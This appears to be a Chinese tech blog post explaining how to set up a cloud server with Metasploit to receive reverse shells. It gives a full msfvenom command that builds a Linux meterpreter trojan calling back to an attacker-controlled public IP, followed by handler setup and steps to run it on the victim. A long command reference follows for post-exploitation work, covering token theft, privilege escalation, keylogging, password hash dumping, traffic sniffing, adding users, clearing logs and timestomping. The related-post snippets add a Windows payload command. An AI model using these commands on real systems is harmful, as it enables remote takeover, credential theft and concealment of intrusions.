云服务器msf跨域反弹shell

内网渗透之——内网转发(反弹shell、端口、代理) 目的 渗透测试中,我们往往会面对十分复杂的内网环境,比如最常用的防火墙,它会限制特定端口的数据包出入。 需要转发的情况 1.A可以访问B的80端口,但是不能访问B的3389端口。 2.A可以访问B,B可以访问C,但是A不可以访问C,需要通过B转发数据,让A和C进行通信。 代理方式 正向代理 正向代理是客户端主动访问服务器的端口 我们常说的代理就是指正向代理,正向代理的过程,它... 阅读详情

环境部署

服务器建议使用Ubuntu 16的。然后再在服务器上安装msf。如果是使用服务器记得在控制台将使用的端口开放,否则可能会监听不到会话。

生成木马

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=(公网ip) LPORT=(开放的端口) -f elf > mshell.elf

在/root目录下生成一个mshell.elf木马文件,此文件为linux系统木马

利用msf攻击

使用xftp将生成的木马上传进被攻击机内,这里放入被攻击机/root目录下:

安装了msf的服务器输入msfconsole启动msf

输入use exploit/multi/handler 使用监听模块

set payload linux/x64/meterpreter/reverse_tcp #使用和木马相同的payload

输入set lhost 0.0.0.0 设置攻击者ip,这里直接0.0.0.0就行

输入set lport 666 设置攻击者监听ip,与木马绑定的一致666 

最后show options 看一下设置有没成功

最后直接run进行监听

 

被攻击机打开上传的木马,如果无法执行给予文件木马文件执行权限即可!chmod +x mshell.elf

 

打开木马,监听到对话,成功反弹到木马!

 

 get一下uid,进行提权操作

 msf常见操作指令:

命令: show exploit 列出metasploit框架中的所有渗透攻击模块。
命令:show payloads列出metasploit框架中的所有攻击载荷。
命令:show auxiliary列出metasploit框架中的所有辅助攻击载荷。
命令:search name查找metasploit框架中所有的渗透攻击和其他模块。
命令:info展示出制定渗透攻击或模块的相关信息。
命令:use name装载一个渗透攻击或模块。
命令:LHOST你本地可以让目标主机连接的IP地址,通常当目标主机不在同一个局域网内时,就需要是一个公共IP地址,特别为反弹式shell使用。
命令:RHOST远程主机或是目标主机。
命令:set function设置特定的配置参数(EG:设置本地或远程主机参数)。
命令:setg function以全局方式设置特定的配置参数(EG:设置本地或远程主机参数)。
命令:show options列出某个渗透攻击或模块中所有的配置参数。
命令:show targets列出渗透攻击所有支持的目标平台。
命令:set target num指定你所知道的目标的操作系统以及补丁版本类型。
命令:set payload name指定想要使用的攻击载荷。
命令:show advanced列出所有高级配置选项。
命令:set autorunscript migrate -f.在渗透攻击完成后,将自动迁移到另一个进程。
命令:check检测目标是否选定渗透攻击存在相应的安全漏洞。
命令:exploit执行渗透攻击或模块来攻击目标。
命令:exploit -j在计划任务下进行渗透攻击(攻击将在后台进行)。
命令:exploit -z渗透攻击完成后不与回话进行交互

help

打开meterpreter使用帮助。

run scriptname

运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。

sysinfo

列出受控主机的系统信息。

ls

列出目标主机的文件和文件夹信息。

use priv

加载特权提升扩展模块,来扩展metasploit库。

ps

显示所有运行的进程以及相关联的用户账户。

migrate PID

迁移到一个指定的进程ID(PID号可通过ps命令从主机上获得)。

use incognito

加载incognito功能(用来盗窃目标主机的令牌或假冒用户)

list_tokens -u

列出目标主机用户的可用令牌。

list_tokens -g

列出目标主机用户组的可用令牌。

impersonate_token DOMAIN_NAME\USERNAME

假冒目标主机上的可用令牌。

steal_token PID

盗窃给定进程的可用令牌并进行令牌假冒。

drop_token

停止假冒当前令牌。

getsystem

通过各种攻击向量来提升系统用户权限。

execute -f cmd.exe -i

执行cmd.exe命令并进行交互。

execute -f cmd.exe -i -t

以所有可用令牌来执行cmd命令并隐藏该进程。

rev2self

回到控制目标主机的初始用户账户下。

reg command

在目标主机注册表中进行交互,创建,删除,查询等操作。

setdesktop number

切换到另一个用户界面(该功能基于那些用户已登录)。

screenshot

对目标主机的屏幕进行截图。

upload file

向目标主机上传文件。

download file

从目标主机下载文件。

keyscan_start

针对远程目标主机开启键盘记录功能。

keyscan_dump

存储目标主机上捕获的键盘记录。

keyscan_stop

停止针对目标主机的键盘记录。

getprivs

尽可能多的获取目标主机上的特权。

uictl enable keyboard/mouse

接管目标主机的键盘和鼠标。

background

将你当前的metasploit shell转为后台执行。

hashdump

导出目标主机中的口令哈希值。

use sniffer

加载嗅探模式。

sniffer_interfaces

列出目标主机所有开放的网络端口。

sniffer_dump interfaceID pcapname

在目标主机上启动嗅探。

sniffer_start interfaceID packet-buffer

在目标主机上针对特定范围的数据包缓冲区启动嗅探。

sniffer_stats interfaceID

获取正在实施嗅探网络接口的统计数据。

sniffer_stop interfaceID

停止嗅探。

add_user username password -h ip

在远程目标主机上添加一个用户。

clearev

清楚目标主机上的日志记录。

timestomp

修改文件属性,例如修改文件的创建时间(反取证调查)。

reboot

重启目标主机。

反弹Shell,看这一篇就够了 前言 在渗透测试实战中,我们经常会遇到Linux系统环境,而让Linux主机反弹个shell是再常见不过的事情了。 反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。 正向连接 假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。 反向连接 那么为什么要用反弹shell呢 阅读详情

相关推荐

FRP内网穿透实战:Kali渗透测试公网映射全攻略

本文详细介绍了使用FRP工具实现Kali Linux内网穿透的完整实战流程。通过配置公网服务器作为中转,将内网Kali的HTTP、SSH及Metasploit监听端口安全映射至公网,解决了渗透测试中反弹Shell等需要公网访问的核心难题,并提供了关键的安全加固建议。

weixin_28365523的博客 182

msf反弹shell

1. 首先打开msf的payload模块。找到windows/x64/meterpreter_reverse_tcp,然后使用该payload。 再在新的终端使用下面的命令。 msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.1.5 lport=4444 -f exe -o abc.exe 2. 打开监测模块。 msf6 exploit(multi/handler) > set LHOST 192.168.1.5 ms

aixioxiaoxaio的博客 1944

从Nmap扫描到Metasploit利用:Samba漏洞实战与渗透测试思维解析

在网络安全领域,渗透测试是评估系统安全性的核心方法,其基础在于对目标系统的全面信息收集与精准漏洞利用。信息收集阶段通常使用Nmap等工具进行端口扫描与服务识别,以绘制目标网络地图。而漏洞利用则依赖于对特定漏洞原理的深入理解,例如命令注入漏洞,它允许攻击者通过未经验证的用户输入在远程系统上执行任意命令。Metasploit框架的价值在于将复杂的漏洞利用过程模块化与自动化,显著提升了安全测试与验证的效率。其工作流遵循侦察、漏洞匹配、载荷配置与会话管理的标准化流程,这一方法论在内部网络横向移动等应用场景中尤为重要

weixin_33805743的博客 501

网络安全-木马入侵windows -msfvenom反弹shell(CMD)

需要做什么呢漏洞与木马的区别在于漏洞是某个系统某个框架,才能用特定的环境下才可以但是木马是全部机器都可以用因为木马相当于软件如果你电脑不能安装软件那你这个电脑也没啥用。

weixin_48137911的博客 6394

RCE漏洞深度解析:从原理到实战的攻防指南

远程代码执行(RCE)是网络安全领域的核心概念,指攻击者能够通过网络在远程服务器上执行任意代码。其核心原理在于应用对用户输入缺乏充分验证,导致恶意数据被系统或应用解释器执行。理解RCE对于构建安全防线至关重要,它直接关系到服务器的完全控制权。在应用场景上,RCE常通过操作系统命令注入、应用层代码注入(如反序列化、模板注入)以及文件上传漏洞等路径实现。例如,通过精心构造的输入,攻击者可利用系统命令拼接或危险函数(如eval)触发漏洞。本文聚焦于RCE的实战攻防,深入剖析了如Log4j2反序列化等经典漏洞的利用

weixin_33719619的博客 442

Kali Linux新手入门:从环境搭建到核心工具链实战的完整指南

网络安全测试是信息安全领域的基础实践,其核心在于通过系统化方法识别和评估系统漏洞。Kali Linux作为集成了数百款专业工具的Linux发行版,为安全测试提供了标准化的工具环境。理解渗透测试的基本流程——从信息收集、漏洞扫描到利用和后渗透——是掌握安全测试的关键。在工程实践中,搭建可控的本地实验环境(如使用虚拟机部署Metasploitable靶机)是合法合规学习的前提。通过掌握nmap、Metasploit等核心工具链,学习者能够将安全原理应用于实际场景,逐步构建从网络扫描到权限提升的完整攻防认知体系。

weixin_30307921的博客 403

使用MSF反向反弹shell

实验准备: 攻击(攻击者)主机: kali 2020.2 虚拟机 nat 192.168.254.132 反向反弹: 【步骤一】:msfconsole启动,结果如【图1】所示: 【命令】 msfconsole 一、msfconsole(这种没有启用数据库,搜索某些东西会很慢) 二、数据...

weixin_45588247的博客 5697

Viper图形化渗透工具部署与内网渗透实战指南

渗透测试是网络安全评估的核心环节,旨在模拟攻击者行为以发现系统漏洞。其原理在于通过授权测试,识别安全弱点并验证防御有效性。在红队行动与内网渗透场景中,传统命令行工具虽功能强大,但存在操作繁琐、信息分散、协同困难等挑战。为此,图形化渗透测试平台应运而生,它将复杂的战术动作模块化、武器化,通过可视化界面提升操作效率与规范性。Viper(炫彩蛇)正是这样一款基于Metasploit Framework的图形化作战平台,它集成了监听管理、会话控制、隧道搭建、横向移动等核心功能,并支持Docker一键部署。本文聚焦V

cuibinmo3519的博客 390

云服务器+nps+msf反弹shell小技巧

vps+nps+msf反弹shell小技巧环境:vpsnps配置msf1配置msf2配置 有时候我们在做实验或者真实环境测试的时候存在漏洞的服务器在外网,而我们的攻击机kali在内网,在需要msf接收shell的时候不知道该怎么接收,也接收不了(外网ip->内网ip,是不可能找得到的)。此时我们就需要一个vps(有外网IP的云主机)再安装一个nps(内网穿透的软件,github上面有,安装教程也在github上面,安装完毕后nps的目录在/etc/nps)。然后具体操作如下 环境: vps:123.5

qq_45414878的博客 1872

安卓Termux部署Metasploit:移动端渗透测试环境搭建与实战指南

渗透测试是信息安全领域的核心实践,旨在通过模拟攻击来评估系统防御能力。其原理在于利用已知漏洞或配置弱点,验证安全防护的有效性。这项技术的价值在于变被动防御为主动发现,帮助组织提前修复隐患。随着移动设备性能的提升,渗透测试的应用场景正从传统的PC工作站扩展到便携设备。Termux作为Android上的强大终端模拟器,提供了一个近乎完整的Linux环境,使得在手机上运行复杂的网络安全工具成为可能。结合Metasploit这一业界领先的渗透测试框架,安全从业者与爱好者能够构建一个随时可用的移动安全测试与学习平台,

weixin_30540691的博客 574

VScode搭建Opencv(C++开发环境)

VScode配置Opencv一、准备软件二 、下载软件1、MinGw下载2、 Cmake下载3、Opencv下载三、编译1、cmake-gui2、make3、install四、 VScode配置1、launch.json2、c_cpp_properties.json3、tasks.json五、测试 用了半天事件,看了各种的博客终于配置成功了,在这里记录并分享一下,让更多的人少走弯路。 本次环境是Win 10. 一、准备软件 我们本次用到的3个软件,(建议读者文件路径,文件版本 尽量都和我相同,这样不容易出错

河旬的博客 8万+

FRP+MSF+注入反弹shell

实验环境: XXX云ECS一台:x.x.x.x 内网kali控制端:192.168.250.133 外网注入后台win7主机: 操作步骤: 分别在XXX云ECS、内网kali控制端搭建frp 具体方法参见: 安装frp_叶孤心丶的博客-CSDN博客_frp安装 配置 内网kali控制端配置 vi frpc.ini XXX云ECS配置 vim frps.ini 启动FRP 本地Kali linux 启动 FRP ./frpc -c ./f...

dahege666的博客 4404

普源精电DHO系列示波器选购指南:从学生党到工程师的完整对比

本文深入评测普源精电DHO系列示波器,从DHO800到DHO4000各型号的核心参数、功能特点及适用场景进行全面对比,帮助学生党和工程师根据实际需求选择最佳型号。重点分析带宽、采样率、存储深度等关键指标,并提供实用的选购建议和进阶使用技巧,帮助用户充分发挥示波器性能。

weixin_30485379的博客 163

阿里云msf配合冰蝎反弹shell不成功

前言:自己使用冰蝎配合msf遇到的一个小问题,记录一下,希望能够帮助到同样卡在这的hxd。 前提:确保使用冰蝎成功连接上了webshell并且可以执行命令,怎么点击“给我连”都只是左下角出现“反弹成功。”字样而云服务器的msf上却并没有监听成功。 假设你使用msf监听的是5566端口,那么只需要在阿里云控制台添加一条安全规则即可: 这样再连就能连上了。 ...

weixin_43896364的博客 1614

英飞凌 AURIX Development Studio工程移植到Hightec的方法

1. 软件简介 AURIX™ Development Studio是英飞凌针对AURIX TC2XX/TC3XX系列单片机推出了一款免费的软件,集成了iLLD库,内置Tasking compiler和Tasking Debugger,但这两个模块只能用于非商业用途,可供学习和试用。iLLD库是英飞凌为TC2XX和TC3XX Tricore系列单片机提供的底层驱动库,有完善的使用手册,和较好的移植性。 Hightec是一款可以用来开发Aurix系列单片机的编译器,有免费版,可商用,集成GCC编译器,可用UDE

weixin_42967006的博客 7125

从ADRV9002到ADRV9003:手把手教你移植FPGA驱动,避开那些官方没说的坑

本文详细介绍了从ADRV9002到ADRV9003的FPGA驱动移植实战指南,重点解析了两者在硬件架构上的关键差异,如通道配置和DPD功能的移除。通过提供完整的移植步骤、调试技巧和性能优化建议,帮助工程师避开官方文档未提及的常见陷阱,实现高效驱动开发。

weixin_28738397的博客 169

手把手教你用FRP+云服务器搭建内网靶场:Kali渗透测试不再受限于本地环境

本文详细介绍了如何利用FRP工具和云服务器搭建远程渗透测试环境,解决Kali Linux本地部署的资源占用和网络限制问题。通过内网穿透技术,实现随时随地访问渗透测试环境,提升团队协作效率。文章包含FRP配置、多协议穿透实战、安全加固措施等实用内容,是网络安全从业者的完整指南。

q3r4s5t的博客 194

时空智友企业信息管理系统任意文件读取漏洞复现

时空智友企业信息管理系统是一个用于企业流程管理和控制的软件系统。它旨在帮助企业实现流程的规范化、自动化和优化,从而提高工作效率、降低成本并提升管理水平。时空智友企业信息管理系统存在任意文件读取漏洞,攻击者可以在未授权的情况下读取系统上的文件。没有人规定,一朵花一定要成长为向日葵或者玫瑰。

The current road is different, love needs to distinguish between right and wrong 966

低成本打造一个高性能的外网metasploit

本文主要围绕着frp这个神器来展开写的,frp还有很多高级的用法,想要深入研究的建议去阅读作者写在GitHub上的官方文档去学习,祝你学习愉快。 前言经常用metasploit反弹shell的小伙伴应该都知道再外网有 一台Metasploit是一件多么奢侈的事情~~ 然而一台性能不错的云主机价格大都不菲,并且自己本地高性能的Metas...

algae 406

ImportError: DLL load failed while importing _pydantic_core: 找不到指定的程序对应解决方案

本文主要介绍了ImportError: DLL load failed while importing _pydantic_core: 找不到指定的程序对应解决方案,希望能对使用Python的同学们有所帮助。 文章目录 1. 问题描述 2. 解决方案

weixin_43178406的博客 19万+

【Pix4d精品教程】Pix4d中央子午线细化设置(测区跨两个分带)

本文介绍了在Pix4d软件中通过修改中央子午线设置来解决跨分带测区刺点问题的方法。针对测区跨3度分带(如105°和108°之间)时像控点与靶标点偏移较大的情况,建议将中央子午线设为测区中心(如106.5°)。具体操作步骤包括:修改投影文件中的中央子午线参数,选择新的输出坐标系配置文件。该方法能有效提高像控点刺点效率,为航测内业数据处理提供便利。操作简单实用,适合大比例尺测图项目中跨分带测区的数据处理需求。

智慧空间实验室 5517

内网隧道—HTTP\DNS\ICMP

内网隧道—HTTP\DNS\ICMP

weixin_51151498的博客 1335

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

frp内网渗透隧道技术

​ 1.服务端-下载-解压-修改-启动(阿里云主机记得修改安全组配置出入口) 服务器修改配置文件 frps.ini: [common] bind_port = 7000 启动服务端: ./frps -c ./frps.ini 2.控制端-下载-解压-修改-启动 控制端修改配置文件 frpc.ini: [common] server_addr = 你的云主机 ip server_port = 7000 #frpc 工作端口,必须和上面 frps 保持一致 [msf] type = tcp local.

z2560088的博客 1174

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

20202411 2022-2023-2 《网络与系统攻防技术》实验二实验报告

ARM架构大冤种认清了x86的世界,垂死挣扎一天半完成实验,发现原来是自己想太多找罪受

01学得好,从入门到吃饱 593

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

红日3靶场-wp

内网渗透之-红日靶场3(传说可让你对内网渗透大彻大悟)

shajianlong666的博客 668
上一篇: 冰蝎(Behinder)双击无法打开
下一篇: Ubuntu 系统下安装Discuz出现“HTTP ERROR 500”目前无法处理此请求
iuyoo
博客等级 码龄6年 23粉丝 9原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值